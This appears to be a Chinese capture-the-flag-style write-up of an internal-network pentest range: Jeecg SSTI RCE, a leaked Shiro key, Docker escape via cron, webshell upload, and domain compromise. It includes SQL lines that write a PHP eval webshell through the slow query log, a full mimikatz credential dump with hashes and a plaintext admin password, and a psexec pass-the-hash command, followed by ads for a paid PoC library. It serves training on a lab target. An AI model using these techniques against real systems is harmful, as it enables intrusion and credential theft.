2024年6月20日13:23:58评论74 views字数 7589阅读25分17秒阅读模式

内网靶场月挑战WP公开

最近很多小伙伴反馈看不到最新的推文，由于微信公众号推送机制改变了，解决办法：

给公众号设为星标

内网靶场月挑战WP公开

一、考察要点

主机信息收集
Java代码审计
Java内存马注入
恶劣环境下的权限获取(不出网)
容器化信息收集
容器逃逸
蜜罐对抗
Webshell 杀软对抗
多级代理
域渗透

二、网络拓扑

‍

三、题目描述

"运维人员好懒，不想做前端，打算整一下刚来的几个实习生，于是发布任务：赶紧去做报表啊一群臭实习生"

四、入口

Jeecg

先拿到目标IP为

10.10.0.3

‍主机信息收集得到端口信息如下

[http] 10.10.0.3:18080 [200] DocToolkit (Apache-Shiro)[http] 10.10.0.3:18088 [200]   404

发现存在两个HTTP服务，优先去看Shiro，发现直接扫描扫不到Key，就去看404

发现存在mysql的服务为弱口令，在里面找到jeecg的信息，当然也可以通过目录扫描可以扫到jeecg的路径

发现是积木报表，找最近出的nday的jeecg的SSTi来打，发现成功RCE

内网靶场月挑战WP公开

这里原先是设置了不出网的情况(大家可以多思考下)，预期解为通过SSTI打入内存🐴，本次靶场降低难度，设置了出网的环境，于是便可反弹shell‍

内网靶场月挑战WP公开 ‍

在该目录下找到源码

内网靶场月挑战WP公开

五、Shiro

脱下来反编译发现了shiro的key

QZIysgMYhG7/CzIJlVpR1g==‍

内网靶场月挑战WP公开

通过这key去打主站点的shiro，该shiro也是存在Waf的，只是增强版的Shiro利用工具太强了自带了绕字节长度的Waf，所以可以直接工具一键梭哈

内网靶场月挑战WP公开

六、Docker逃逸

发现还是在docker里头，进行信息收集

内网靶场月挑战WP公开

发现存在挂载

内网靶场月挑战WP公开

发现挂载的是宿主机的目录

找到第二个flag‍

挂载进行定时任务逃逸

等待一分钟就收到shell了

内网靶场月挑战WP公开

拿到交互式shell

七、Webshell对抗

代理进去扫内网，找到一处PHP的文件上传处

内网靶场月挑战WP公开

php大小写文件绕过

内网存在杀毒，进行webshell免杀后上传getshell

当然这里也有另外一种解法，算是一种非预期(抨击C3)

fscan 扫描出https://192.168.80.55/

访问http://192.168.80.55/phpmyadmin/index.php

结合l.php探针给的目录C:/phpStudy/PHPTutorial/WWW/l.php尝试写入webshell

内网靶场月挑战WP公开

写入失败绕过secure_file_priv

查看慢查询日志开启情况

show variables like '%slow_query_log%';

开启慢查询日志

set global slow_query_log=1;

修改日志文件存储的绝对路径

set global slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/a3311.php';

向日志文件中写入shell

select '<?php @eval($_POST[cmd]);?>' or sleep(11);

内网靶场月挑战WP公开

内网存在WeblogicRCE

内网靶场月挑战WP公开

发现在域内

内网靶场月挑战WP公开

八、域

Mimika抓一下hash

ok .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/mimikatz(commandline) # privilege::debugPrivilege '20' OKmimikatz(commandline) # sekurlsa::logonpasswordsAuthentication Id : 0 ; 761248 (00000000:000b9da0)Session : CachedInteractive from 1User Name : AdministratorDomain : C3TINGLogon Server : WIN-1SJG2BFF54ELogon Time : 2024/5/26 14:21:00SID : S-1-5-21-495363149-4124706654-1579529781-500 msv : [00010000] CredentialKeys * NTLM : 7ab183888ecafcccf897c4a5a59c8568 * SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9 [00000003] Primary * Username : Administrator * Domain : C3TING * NTLM : 7ab183888ecafcccf897c4a5a59c8568 * SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9 tspkg : wdigest : * Username : Administrator * Domain : C3TING * Password : (null) kerberos : * Username : Administrator * Domain : C3TING.ORG * Password : C3ting!@#2024 ssp : KO credman :Authentication Id : 0 ; 66748 (00000000:000104bc)Session : Interactive from 1User Name : DWM-1Domain : Window ManagerLogon Server : (null)Logon Time : 2024/5/26 21:52:57SID : S-1-5-90-1 msv : [00000003] Primary * Username : WEBLOGIC$ * Domain : C3TING * NTLM : d74244627319328347e7536a81b6bcbc * SHA1 : f34f20925a12915b377113be3ac2255225aa2b45 tspkg : wdigest : * Username : WEBLOGIC$ * Domain : C3TING * Password : (null) kerberos : * Username : WEBLOGIC$ * Domain : c3ting.org * Password : 'o17Fh:@t5v.ySw>/&T42E*; -qY35VDj[D43"&8xcM%AjjLYU2,X,,IV(;61yKRVVNXw>WsI&s5 Zdtw-tYJFS&F ZnAfsPhBx5enIIF:3hpBn#QG/[D.u ssp : KO credman :Authentication Id : 0 ; 66730 (00000000:000104aa)Session : Interactive from 1User Name : DWM-1Domain : Window ManagerLogon Server : (null)Logon Time : 2024/5/26 21:52:57SID : S-1-5-90-1 msv : [00000003] Primary * Username : WEBLOGIC$ * Domain : C3TING * NTLM : d74244627319328347e7536a81b6bcbc * SHA1 : f34f20925a12915b377113be3ac2255225aa2b45 tspkg : wdigest : * Username : WEBLOGIC$ * Domain : C3TING * Password : (null) kerberos : * Username : WEBLOGIC$ * Domain : c3ting.org * Password : 'o17Fh:@t5v.ySw>/&T42E*; -qY35VDj[D43"&8xcM%AjjLYU2,X,,IV(;61yKRVVNXw>WsI&s5 Zdtw-tYJFS&F ZnAfsPhBx5enIIF:3hpBn#QG/[D.u ssp : KO credman :Authentication Id : 0 ; 996 (00000000:000003e4)Session : Service from 0User Name : WEBLOGIC$Domain : C3TINGLogon Server : (null)Logon Time : 2024/5/26 21:52:56SID : S-1-5-20 msv : [00000003] Primary * Username : WEBLOGIC$ * Domain : C3TING * NTLM : d74244627319328347e7536a81b6bcbc * SHA1 : f34f20925a12915b377113be3ac2255225aa2b45 tspkg : wdigest : * Username : WEBLOGIC$ * Domain : C3TING * Password : (null) kerberos : * Username : weblogic$ * Domain : C3TING.ORG * Password : (null) ssp : KO credman :Authentication Id : 0 ; 835435 (00000000:000cbf6b)Session : CachedInteractive from 1User Name : AdministratorDomain : C3TINGLogon Server : WIN-1SJG2BFF54ELogon Time : 2024/5/26 22:22:04SID : S-1-5-21-495363149-4124706654-1579529781-500 msv : [00010000] CredentialKeys * NTLM : 7ab183888ecafcccf897c4a5a59c8568 * SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9 [00000003] Primary * Username : Administrator * Domain : C3TING * NTLM : 7ab183888ecafcccf897c4a5a59c8568 * SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9 tspkg : wdigest : * Username : Administrator * Domain : C3TING * Password : (null) kerberos : * Username : Administrator * Domain : C3TING.ORG * Password : (null) ssp : KO credman :Authentication Id : 0 ; 405811 (00000000:00063133)Session : Interactive from 1User Name : administratorDomain : C3TINGLogon Server : WIN-1SJG2BFF54ELogon Time : 2024/5/26 21:55:37SID : S-1-5-21-495363149-4124706654-1579529781-500 msv : [00000003] Primary * Username : Administrator * Domain : C3TING * NTLM : 7ab183888ecafcccf897c4a5a59c8568 * SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9 [00010000] CredentialKeys * NTLM : 7ab183888ecafcccf897c4a5a59c8568 * SHA1 : 65e4580b288c7c555e21f70d81dd6e0b72397ed9 tspkg : wdigest : * Username : Administrator * Domain : C3TING * Password : (null) kerberos : * Username : administrator * Domain : C3TING.ORG * Password : (null) ssp : KO credman :Authentication Id : 0 ; 259823 (00000000:0003f6ef)Session : Interactive from 1User Name : weblogicDomain : C3TINGLogon Server : WIN-1SJG2BFF54ELogon Time : 2024/5/26 21:53:51SID : S-1-5-21-495363149-4124706654-1579529781-1103 msv : [00000003] Primary * Username : weblogic * Domain : C3TING * NTLM : dee6489dfcd545e5a4b452fc9da06a0f * SHA1 : f959b907a86ef967bcbed9dc24954695ecbe2fa8 [00010000] CredentialKeys * NTLM : dee6489dfcd545e5a4b452fc9da06a0f * SHA1 : f959b907a86ef967bcbed9dc24954695ecbe2fa8 tspkg : wdigest : * Username : weblogic * Domain : C3TING * Password : (null) kerberos : * Username : weblogic * Domain : C3TING.ORG * Password : (null) ssp : KO credman :Authentication Id : 0 ; 997 (00000000:000003e5)Session : Service from 0User Name : LOCAL SERVICEDomain : NT AUTHORITYLogon Server : (null)Logon Time : 2024/5/26 21:52:58SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : KO credman :Authentication Id : 0 ; 43389 (00000000:0000a97d)Session : UndefinedLogonType from 0User Name : (null)Domain : (null)Logon Server : (null)Logon Time : 2024/5/26 21:52:53SID : msv : [00000003] Primary * Username : WEBLOGIC$ * Domain : C3TING * NTLM : d74244627319328347e7536a81b6bcbc * SHA1 : f34f20925a12915b377113be3ac2255225aa2b45 tspkg : wdigest : kerberos : ssp : KO credman :Authentication Id : 0 ; 999 (00000000:000003e7)Session : UndefinedLogonType from 0User Name : WEBLOGIC$Domain : C3TINGLogon Server : (null)Logon Time : 2024/5/26 21:52:52SID : S-1-5-18 msv : tspkg : wdigest : * Username : WEBLOGIC$ * Domain : C3TING * Password : (null) kerberos : * Username : weblogic$ * Domain : C3TING.ORG * Password : (null) ssp : KO credman :mimikatz(commandline) # exitBye!

找到域控的地址

内网靶场月挑战WP公开

有hash直接PTH了

python psexec.py c3ting.org/[email protected] -hashes 7ab183888ecafcccf897c4a5a59c8568

‍九、混淆要点

redis并不是有效目标
内网的第一层Weblogic为蜜罐
mysql作为有效信息提供，仅此而已

十、总结

本次模拟为某次国企护网过程当中，存在404页面通过经验+运气扫到了Jeecg的后台，然后发现后端功能点是开放的(其实是因为该工作人员想着通过后端做点事情导致没有关及时)，后端是存在1day的，但是由于不出网的情况下，1day是可以加载字节码的，所以通过RCE进去正向连接找到了该国企主站点的源码，通过代码审计获得0day并成功打入核心目标内网进行内网横向，该目标内网中存在docker，在某个容器中发现了存在df挂在到宿主机的现象，通过计划任务从而逃逸到宿主机中获取大量敏感信息，本次靶场完全1:1模拟本次护网红蓝攻防的思路，后续域渗透不是本次靶场的核心，域的真实环境敬请期待

十一、打个广告

在线内网靶场网址：bc.c3ting.com

靶场交流群（满200或过期请菜单栏联系棉花糖邀请，备注：内网靶场）：

内网靶场月挑战WP公开

打个广告

8k+poc库持续更新、每周50+新增poc

内网靶场月挑战WP公开

超多资源网可供下载

https://www.mitaobo.com/

https://www.csdn.net/

https://www.ddpoc.com

https://www.lingfengyun.com

https://21tian.net

https://www.ruike1.com/

https://www.dmzshequ.com/

https://52it.cc/

https://www.vipc6.com/

https://shikey.com/

https://www.javaxxz.com/

https://www.itjc8.com/

https://www.qwzy8.com/

https://www.itdjs.com/

https://www.ohltk.com/

https://www.itspxx.com/

https://vipc9.com/

https://fishc.com.cn/

还有资产测绘、md5解密、技术学习、会员共享

以及超多教程资源，付费工具

内网靶场月挑战WP公开

仅需99元一年，续费再享八折

老会员评价

内网靶场月挑战WP公开

👇内容太多扫描二维码查看详细介绍👇

内网靶场月挑战WP公开

感谢您抽出

阅读本文

原文始发于微信公众号（棉花糖网络安全圈）：内网靶场月挑战WP公开

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

内网靶场月挑战WP公开

三、题目描述

五、Shiro

七、Webshell对抗

内网存在WeblogicRCE

八、域

腾讯2025游戏安全PC方向初赛题解

2025腾讯游戏安全技术竞赛决赛题解

UKY 2025TGCTF WP

【buuctf】[极客大挑战]Http

隐写术之各类常见压缩包类型隐写总结

TexSAWCTF2025 writeup by Mini-Venom

NCTF 2024 writeup by Mini-Venom

2025软件安全攻防赛半决赛 WP

记录两道简单CTF-Android题目解题

【buuctf】Web攻防(二)

发表评论